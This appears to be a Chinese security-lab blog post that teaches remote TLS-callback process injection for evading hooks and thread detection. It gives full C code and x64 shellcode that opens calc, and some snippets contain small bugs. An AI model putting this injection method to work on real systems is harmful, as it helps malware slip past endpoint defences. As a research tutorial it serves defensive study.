本期作者/牛杰
概述
TLS 回调来执行有效负载,而不在远程进程中生成任何线程。此方法受到无线程注入的启发,因为 RemoteTLSCallbackInjection 不会调用任何 API 调用来触发注入的有效负载,因此可以绕过一些函数挂钩或线程检测。
步骤
1. 首先编译一个带TLS回调的程序,本例子使用x64。
注:先于主线程调用执行的TLS回调函数中使用printf可能会发生Runtime Error,因此打印使用的是WriteConsole API
#include <stdio.h>
#include <Windows.h>
#ifdef _WIN64
#pragma comment (linker, "/INCLUDE:_tls_used")
#pragma comment (linker, "/INCLUDE:thread_callback_base")
#else
#pragma comment (linker, "/INCLUDE:__tls_used")
#pragma comment (linker, "/INCLUDE:_thread_callback_base")
#endif
void generate_str(char* ptr, DWORD reason)
{
switch (reason) {
case DLL_PROCESS_ATTACH:
strcat(ptr, "DLL_PROCESS_ATTACHn");
break;
case DLL_PROCESS_DETACH:
strcat(ptr, "DLL_PROCESS_DETACHn");
break;
case DLL_THREAD_ATTACH:
strcat(ptr, "DLL_THREAD_ATTACHn");
break;
case DLL_THREAD_DETACH:
strcat(ptr, "DLL_THREAD_DETACHn");
break;
}
}
// TLS回调1
void NTAPI tls_callback_1(PVOID DllHandle, DWORD Reason, PVOID Reserved)
{
HANDLE hStdout = GetStdHandle(STD_OUTPUT_HANDLE);
char ptr[256]{ 0 };
strcpy(ptr, "TLS Callback1: ");
generate_str(ptr, Reason);
WriteConsoleA(hStdout, ptr, strlen(ptr), NULL, NULL);
}
// TLS回调2
void NTAPI tls_callback_2(PVOID DllHandle, DWORD Reason, PVOID Reserved)
{
HANDLE hStdout = GetStdHandle(STD_OUTPUT_HANDLE);
char ptr[256]{ 0 };
strcpy(ptr, "TLS Callback2: ");
generate_str(ptr, Reason);
WriteConsoleA(hStdout, ptr, strlen(ptr), NULL, NULL);
}
#ifdef _WIN64
#pragma const_seg(".CRT$XLF")
EXTERN_C const
#else
#pragma data_seg(".CRT$XLF")
EXTERN_C
#endif
PIMAGE_TLS_CALLBACK thread_callback_base[] = { tls_callback_1, tls_callback_2, 0 };
#ifdef _WIN64
#pragma const_seg()
#else
#pragma data_seg()
#endif //_WIN64
int main(void)
{
printf("main");
return 0;
}
2. 创建另一个项目,首先创建进程,打开刚编译好的TLSDEMO并挂起。
STARTUPINFOW StartupInfo = { .cb = sizeof(STARTUPINFOW) };
DWORD dwCreationFlags = dwFlags;
RtlSecureZeroMemory(pProcessInfo, sizeof(PROCESS_INFORMATION));
if (!CreateProcessW(NULL, szProcessImgNameAndParms, NULL, NULL, FALSE, dwCreationFlags, NULL, NULL, &StartupInfo, pProcessInfo)) {
printf("[!] CreateProcess Error: %d n", GetLastError());
return FALSE;
}
3. PE解析,获取TLS回调函数地址。
void freeMem(ULONG_PTR& uImageBaseBuffer) {
free(&uImageBaseBuffer);
uImageBaseBuffer = 0;
};
LONG_PTR getTlsCallback(HANDLE hThread,HANDLE hProcess){
ULONG_PTR uImageBase = NULL;
ULONG_PTR uImageBaseBuffer = NULL;
CONTEXT ThreadContext = {0};
ThreadContext.ContextFlags = CONTEXT_ALL;
PIMAGE_NT_HEADERS pImgNtHdrs = NULL;
PIMAGE_DATA_DIRECTORY pEntryTLSDataDir = NULL;
PIMAGE_TLS_CALLBACK pImgTlsCallback = NULL;
//获取PEB
if (!GetThreadContext(hThread, &ThreadContext)) {
printf("GetThreadContext Failed: %dn", GetLastError());
return FALSE;
}
if (!ReadProcessMemory(hProcess, (PVOID)(ThreadContext.Rdx + offsetof(PEB, Reserved3[1])), &uImageBase, sizeof(PVOID), NULL)) {
printf("ReadProcessMemory Failed: %dn", GetLastError());
return FALSE;
}
//获取ImageBase
if (!(uImageBaseBuffer = (ULONG_PTR)malloc(0x1000))) {
printf("LocalAlloc Failed: %d n", GetLastError());
return FALSE;
}
//获取NT头
if (!ReadProcessMemory(hProcess, (PVOID)uImageBase, (LPVOID)uImageBaseBuffer, 0x1000, NULL)) {
printf("ReadProcessMemory Failed: %dn", GetLastError());
freeMem(uImageBaseBuffer);
return FALSE;
}
pImgNtHdrs = (PIMAGE_NT_HEADERS)(uImageBaseBuffer + ((PIMAGE_DOS_HEADER)uImageBaseBuffer)->e_lfanew);
pEntryTLSDataDir = &pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS];
//读取TLS回调
if (!ReadProcessMemory(hProcess, (PVOID)(uImageBase + pEntryTLSDataDir->VirtualAddress + offsetof(IMAGE_TLS_DIRECTORY, AddressOfCallBacks)), &pImgTlsCallback, sizeof(PVOID), NULL)){
printf("ReadProcessMemory Failed With Error: %dn", GetLastError());
freeMem(uImageBaseBuffer);
return FALSE;
}
return (LONG_PTR)pImgTlsCallback;
return FALSE;
}
4. 注入shellcode,这一过程需要分三步:
-
a.将原始tls回调函数地址写入payload
-
b.将payload注入进程
-
c.修改进程tls函数为注入payload,payload功能为弹出一个计算器。
BOOL WritePayloadRemotely(HANDLE hProcess, ULONG_PTR pImgTlsCallback) {
unsigned char payload[] = {
0x51, 0x52, 0x41, 0x51, 0x41, 0x50, 0x41, 0x53, 0x41, 0x52, 0x48,
0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0x48, 0xB9,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x0B,
0x48, 0x83, 0xEC, 0x50, 0x48, 0x89, 0xD9, 0x48, 0xC7, 0xC2, 0x00,
0x04, 0x00, 0x00, 0x41, 0xB8, 0x02, 0x00, 0x00, 0x00, 0x4C, 0x8D,
0x4C, 0x24, 0x20, 0x48, 0xB8, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB,
0xBB, 0xBB, 0xFF, 0xD0, 0xE8, 0x0F, 0x00, 0x00, 0x00, 0x48, 0x83,
0xC4, 0x50, 0x41, 0x5A, 0x41, 0x5B, 0x41, 0x58, 0x41, 0x59, 0x5A,
0x59, 0xC3, 0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE4,
0xF0, 0x50, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54,
0x59, 0x48, 0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76,
0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48,
0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F,
0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57,
0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01,
0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48,
0x83, 0xC4, 0x68, 0x5C, 0x5D, 0x5F, 0x5E, 0x5B, 0xC3
};
SIZE_T writeSize = 0;
DWORD dwOldProtection = 0x0;
LPVOID uVirtualProtect = VirtualProtect;
SIZE_T sNumberOfBytesRead = 0x0;
unsigned long long ullOriginalBytes = 0x0;
ULONG_PTR uImgTlsCallbackBytes = (ULONG_PTR)malloc(0x10);
//1.将原始tls回调函数地址写入payload
if (pImgTlsCallback) {
if (!ReadProcessMemory(hProcess, (LPVOID)pImgTlsCallback, (LPVOID)uImgTlsCallbackBytes, 0x10, &sNumberOfBytesRead) || sNumberOfBytesRead != 0x10) {
printf("[!] ReadProcessMemory [%d] Failed With Error: %dn", __LINE__, GetLastError());
freeMem(uImgTlsCallbackBytes);
}
}
ullOriginalBytes = *(unsigned long long*)uImgTlsCallbackBytes;
memcpy(&payload[12], &pImgTlsCallback, sizeof(pImgTlsCallback));
memcpy(&payload[22], &ullOriginalBytes, sizeof(ullOriginalBytes));
memcpy(&payload[60], &uVirtualProtect, sizeof(unsigned long long));
//2.写入payload
LPVOID injectAddress = VirtualAllocEx(hProcess, NULL, (sizeof(payload)), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (injectAddress) {
WriteProcessMemory(hProcess, injectAddress, payload, sizeof(payload), &writeSize);
VirtualProtectEx(hProcess, injectAddress, sizeof(payload), PAGE_EXECUTE_READWRITE, &dwOldProtection);
}
//3.更换tls函数
VirtualProtectEx(hProcess, (LPVOID)pImgTlsCallback, 0x400, PAGE_READWRITE, &dwOldProtection);
WriteProcessMemory(hProcess, (LPVOID)pImgTlsCallback, &injectAddress, sizeof(PVOID), NULL);
return FALSE;
}
验证
唤醒线程,弹出计算器
在进程唤醒前下断点,附加TLS测试demo,查看payload
dump该进程,发现tls已经被更改。
原文始发于微信公众号(蛇矛实验室):TLS 注入
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论